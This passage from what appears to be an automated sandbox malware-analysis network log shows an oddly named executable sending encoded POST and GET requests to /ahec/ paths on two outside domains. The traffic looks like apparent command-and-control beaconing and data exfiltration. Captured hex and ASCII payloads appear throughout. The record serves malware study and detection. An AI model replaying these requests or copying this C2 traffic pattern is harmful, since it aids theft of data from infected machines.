Dec 8, 2023 14:51:27.422880888 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:27 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49757	94.23.162.163	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:33.044251919 CET	768	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.domainappraisalbot.com Origin: http://www.domainappraisalbot.com Referer: http://www.domainappraisalbot.com/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 57 44 52 70 51 76 58 4c 66 35 4b 62 7a 44 68 65 38 73 5a 4b 48 2b 6e 4e 73 46 4f 30 62 34 78 35 6c 45 74 72 6d 5a 72 57 4b 4b 45 62 32 47 72 2b 70 5a 41 63 35 44 6a 41 77 37 51 59 66 43 48 58 41 31 77 59 33 33 32 74 54 5a 6b 33 55 63 47 30 76 63 49 61 77 4c 38 37 4e 44 64 41 36 34 32 75 71 6d 51 32 45 79 72 7a 46 69 4f 6b 68 39 6f 31 37 6a 55 57 67 50 73 53 45 66 2b 35 5a 67 43 38 36 4c 63 49 58 61 56 6b 6f 33 37 4b 72 4d 50 6f 61 63 6f 54 33 6f 6b 55 50 79 46 6c 31 35 31 46 67 56 73 72 70 51 59 4e 57 79 50 32 32 43 6f 75 5a 41 3d 3d Data Ascii: XveXHZvx=WDRpQvXLf5KbzDhe8sZKH+nNsFO0b4x5lEtrmZrWKKEb2Gr+pZAc5DjAw7QYfCHXA1wY332tTZk3UcG0vcIawL87NDdA642uqmQ2EyrzFiOkh9o17jUWgPsSEf+5ZgC86LcIXaVko37KrMPoacoT3okUPyFl151FgVsrpQYNWyP22CouZA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49758	94.23.162.163	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:35.798079014 CET	788	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.domainappraisalbot.com Origin: http://www.domainappraisalbot.com Referer: http://www.domainappraisalbot.com/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 57 44 52 70 51 76 58 4c 66 35 4b 62 70 69 52 65 77 74 5a 4b 47 65 6e 4f 77 56 4f 30 55 59 78 39 6c 44 6c 72 6d 63 54 47 4a 34 51 62 34 44 58 2b 6f 59 41 63 2b 44 6a 41 37 62 51 64 62 43 47 36 41 31 4d 68 33 7a 32 74 54 5a 67 33 55 64 32 30 6f 71 41 5a 79 62 38 39 43 6a 64 47 33 59 32 75 71 6d 51 32 45 79 2f 4a 46 6d 69 6b 6d 4d 59 31 36 47 30 58 68 50 73 52 53 50 2b 35 64 67 43 34 36 4c 63 32 58 65 56 4f 6f 31 7a 4b 72 4a 6a 6f 5a 4e 6f 55 35 6f 6b 61 46 53 46 37 38 4a 73 38 31 57 6c 71 71 68 63 30 55 6d 65 64 2b 33 45 39 65 30 38 50 4f 78 4d 67 66 6c 5a 69 6f 75 39 6d 6f 61 66 41 73 4a 73 3d Data Ascii: XveXHZvx=WDRpQvXLf5KbpiRewtZKGenOwVO0UYx9lDlrmcTGJ4Qb4DX+oYAc+DjA7bQdbCG6A1Mh3z2tTZg3Ud20oqAZyb89CjdG3Y2uqmQ2Ey/JFmikmMY16G0XhPsRSP+5dgC46Lc2XeVOo1zKrJjoZNoU5okaFSF78Js81Wlqqhc0Umed+3E9e08POxMgflZiou9moafAsJs=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49759	94.23.162.163	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:39.448764086 CET	10870	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.domainappraisalbot.com Origin: http://www.domainappraisalbot.com Referer: http://www.domainappraisalbot.com/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 57 44 52 70 51 76 58 4c 66 35 4b 62 70 69 52 65 77 74 5a 4b 47 65 6e 4f 77 56 4f 30 55 59 78 39 6c 44 6c 72 6d 63 54 47 4a 35 6f 62 34 31 6a 2b 70 37 6f 63 2f 44 6a 41 30 4c 51 63 62 43 47 43 41 31 55 6c 33 7a 7a 59 54 62 6f 33 56 37 69 30 70 59 6f 5a 6f 4c 38 39 41 6a 64 48 36 34 32 2f 71 69 38 36 45 78 48 4a 46 6d 69 6b 6d 50 77 31 71 6a 55 58 73 76 73 53 45 66 2b 31 5a 67 43 51 36 4c 45 41 58 65 59 35 6f 42 48 4b 71 74 44 6f 56 66 41 55 6d 34 6b 50 43 53 45 6f 38 4a 51 64 31 51 42 63 71 68 70 6a 55 6c 43 64 2f 78 52 41 4c 77 49 33 64 68 4d 34 4c 47 70 43 75 63 4d 2b 73 59 2b 41 36 75 44 5a 4d 73 75 54 4c 2b 4a 33 67 2b 62 44 7a 62 47 57 71 55 6f 61 6c 2f 78 4a 72 33 61 47 68 36 54 49 4e 51 6b 70 48 44 6e 35 6b 47 65 56 58 63 41 4b 32 52 7a 55 39 62 68 6f 38 48 74 44 67 6d 34 49 71 39 37 43 33 59 30 4b 44 2f 34 30 49 38 5a 70 41 71 54 52 42 67 63 51 30 33 70 68 30 4f 36 67 6e 7a 51 52 70 74 65 64 46 6e 5a 4c 37 55 39 51 48 55 69 50 67 6d 68 58 33 54 36 34 6c 30 56 49 50 48 44 50 33 6c 75 66 72 62 4b 6d 30 53 42 47 41 68 52 31 4b 5a 4d 50 33 50 56 37 4f 2f 44 71 41 6c 69 70 52 74 42 45 56 68 4d 4f 52 69 38 52 4d 6a 61 4d 59 56 57 75 32 51 2b 2f 43 79 47 41 49 59 73 6f 66 58 55 4a 38 55 79 44 6e 5a 61 6f 65 5a 65 6a 57 79 52 47 7a 32 6a 5a 74 53 2f 38 55 44 46 2f 53 69 4a 72 4f 76 2b 52 49 2b 38 4d 76 46 42 38 5a 79 44 4b 49 32 6c 41 44 41 45 7a 66 50 46 57 4c 6b 62 5a 47 59 35 55 4d 45 76 35 52 32 51 39 71 34 61 45 4e 52 44 34 48 67 5a 37 4a 46 2b 47 59 6d 47 41 4e 58 43 70 4e 4a 43 64 30 6b 76 46 44 6e 70 77 68 6d 5a 71 42 65 6e 75 65 4c 49 70 78 31 48 6c 2b 48 47 43 70 50 61 4f 56 42 43 32 64 56 47 4a 58 71 31 38 32 2f 58 63 35 57 79 5a 68 77 66 75 61 6d 70 72 55 67 33 44 57 6e 31 62 36 35 78 69 49 57 73 74 69 74 79 58 51 61 47 30 32 41 33 75 49 44 59 69 63 62 4f 46 2f 31 56 36 56 67 77 6b 68 35 2b 4f 6d 6c 35 4a 31 69 37 78 6f 45 37 52 57 4b 57 38 59 49 35 47 58 46 49 67 64 41 32 52 4b 45 55 6b 46 63 32 74 34 6f 36 42 4c 53 47 67 69 59 77 4c 65 4f 50 61 76 66 48 61 67 6c 4c 61 2b 47 39 4c 4d 2b 63 58 73 6b 47 71 41 65 51 33 5a 32 5a 68 6d 46 71 71 6e 48 76 75 73 31 51 51 44 7a 6a 76 6a 4e 64 52 32 6c 73 75 72 33 45 78 78 32 62 75 53 38 74 6b 45 54 65 72 68 38 71 77 53 6d 49 63 57 37 35 36 66 71 52 43 4e 65 50 74 59 78 36 79 38 64 38 37 66 50 48 42 7a 58 77 63 6f 4e 4f 39 53 6c 30 42 66 42 74 31 45 38 2f 74 4c 6b 2f 54 34 49 38 31 70 66 39 32 72 6b 49 6f 76 43 7a 64 54 70 56 50 65 30 38 30 35 44 73 71 62 4f 53 32 46 75 43 33 62 69 67 70 65 76 4b 42 38 58 34 46 52 38 51 56 2f 6e 75 37 58 39 7a 54 70 35 44 51 32 55 64 30 66 75 75 4d 79 41 48 52 54 77 42 33 39 42 64 74 59 30 4d 6d 38 43 70 67 57 4f 4b 72 72 6e 33 35 52 45 42 57 75 4e 54 54 4f 32 7a 43 6a 42 58 63 62 36 75 31 62 55 48 75 52 73 34 6d 75 2f 69 44 43 63 75 63 59 65 5a 6a 67 69 6b 38 79 42 53 6b 55 70 31 62 56 66 62 6c 7a 6b 32 78 6b 34 41 47 54 79 4a 54 67 59 31 71 7a 71 74 69 67 63 41 71 34 78 50 6a 54 48 49 45 34 63 6d 46 68 72 56 52 61 72 4a 69 6c 33 43 35 4b 43 38 32 45 50 41 69 54 7a 56 6a 6e 37 46 63 52 53 76 61 78 4e 58 68 77 63 79 30 31 4f 71 71 51 2b 67 2f 53 51 70 7a 76 36 57 44 4d 2b 56 57 72 6b 4a 6e 78 7a 69 34 4c 44 66 70 4d 69 79 77 34 73 62 7a 33 6c 6b 57 32 72 73 45 34 57 6a 76 41 70 55 73 4f 4b 44 44 35 68 6f 58 50 34 64 30 4f 4b 74 47 5a 45 77 67 70 4d 67 53 70 7a 56 32 76 45 31 4d 49 51 58 4d 64 50 79 56 43 42 52 30 2b 75 61 45 51 58 39 79 68 71 6d 58 36 52 48 55 4b 2f 6e 62 6f 6f 74 65 6b 5a 63 67 79 55 61 68 73 56 75 4e 63 6d 74 61 77 32 69 74 34 6f 63 30 4b 56 6d 63 4b 45 34 58 50 4a 59 7a 51 35 72 51 52 63 6b 64 2f 46 57 6b 4d 7a 35 6f 73 31 73 72 76 62 4a 67 41 2b 55 6b 49 79 30 66 54 58 71 45 74 32 6b 62 33 4e 6b 72 74 74 66 67 66 77 79 45 46 37 33 72 4c 36 67 73 5a 45 35 39 31 73 47 7a 6d 6e 67 45 32 65 66 44 46 46 55 59 64 79 70 38 4f 48 79 4d 4d 51 52 73 4f 45 77 79 32 4b 32 4b 77 6f 68 43 6d 56 51 70 48 31 4f 5a 34 7a 68 42 41 31 75 5a 7a 2b 72 4b 4a 72 39 62 39 30 73 4e 68 53 4f 53 6f 2b 4d 66 67 78 4d 42 6c 46 39 59 79 32 50 56 47 79 4b 4b 41 4c 64 72 50 74 70 38 48 79 79 43 4a 59 4c 2b 49 6c Data Ascii: XveXHZvx=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

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49760	94.23.162.163	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:42.204368114 CET	479	OUT	GET /ahec/?XveXHZvx=bB5JTYLqXbmN0Rh52tJaPPP1nCuGRYxCl3xm8ZfdPOYVrj3MpZEcwx/57KsfYAKqEjFN/H+DNeQWefm4mYc20p8FNjdU2pWhmA==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.domainappraisalbot.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:51:42.441059113 CET	337	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Fri, 08 Dec 2023 13:51:42 GMT Content-Type: text/html Content-Length: 178 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49761	66.29.155.54	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:47.909106970 CET	738	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.nesmalt.info Origin: http://www.nesmalt.info Referer: http://www.nesmalt.info/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 4f 52 44 6d 59 6c 34 34 41 45 53 77 6b 46 2b 42 33 79 62 78 4f 31 2b 77 55 48 4e 49 48 46 46 67 43 52 31 69 73 55 56 45 7a 34 31 6c 4d 69 68 63 44 6f 63 61 65 6a 76 76 42 4d 4b 4c 41 67 46 64 43 67 6a 63 4f 67 34 58 55 4f 75 55 47 66 36 33 33 58 70 57 62 4d 7a 69 56 37 4c 55 4b 67 6b 44 50 41 62 4d 74 38 6b 4a 59 47 4f 69 73 37 69 74 61 34 78 32 6d 7a 59 39 79 6e 58 45 6a 70 4f 30 2f 39 4d 77 48 74 73 76 2f 76 61 64 61 36 4c 51 41 57 69 62 77 6a 6f 64 43 65 43 38 75 36 31 43 51 62 4c 42 54 6f 6d 6e 41 58 34 47 32 6b 74 6a 6b 51 3d 3d Data Ascii: XveXHZvx=ORDmYl44AESwkF+B3ybxO1+wUHNIHFFgCR1isUVEz41lMihcDocaejvvBMKLAgFdCgjcOg4XUOuUGf633XpWbMziV7LUKgkDPAbMt8kJYGOis7ita4x2mzY9ynXEjpO0/9MwHtsv/vada6LQAWibwjodCeC8u61CQbLBTomnAX4G2ktjkQ==
Dec 8, 2023 14:51:48.218774080 CET	1286	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:51:48 GMT Server: Apache Content-Length: 5278 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 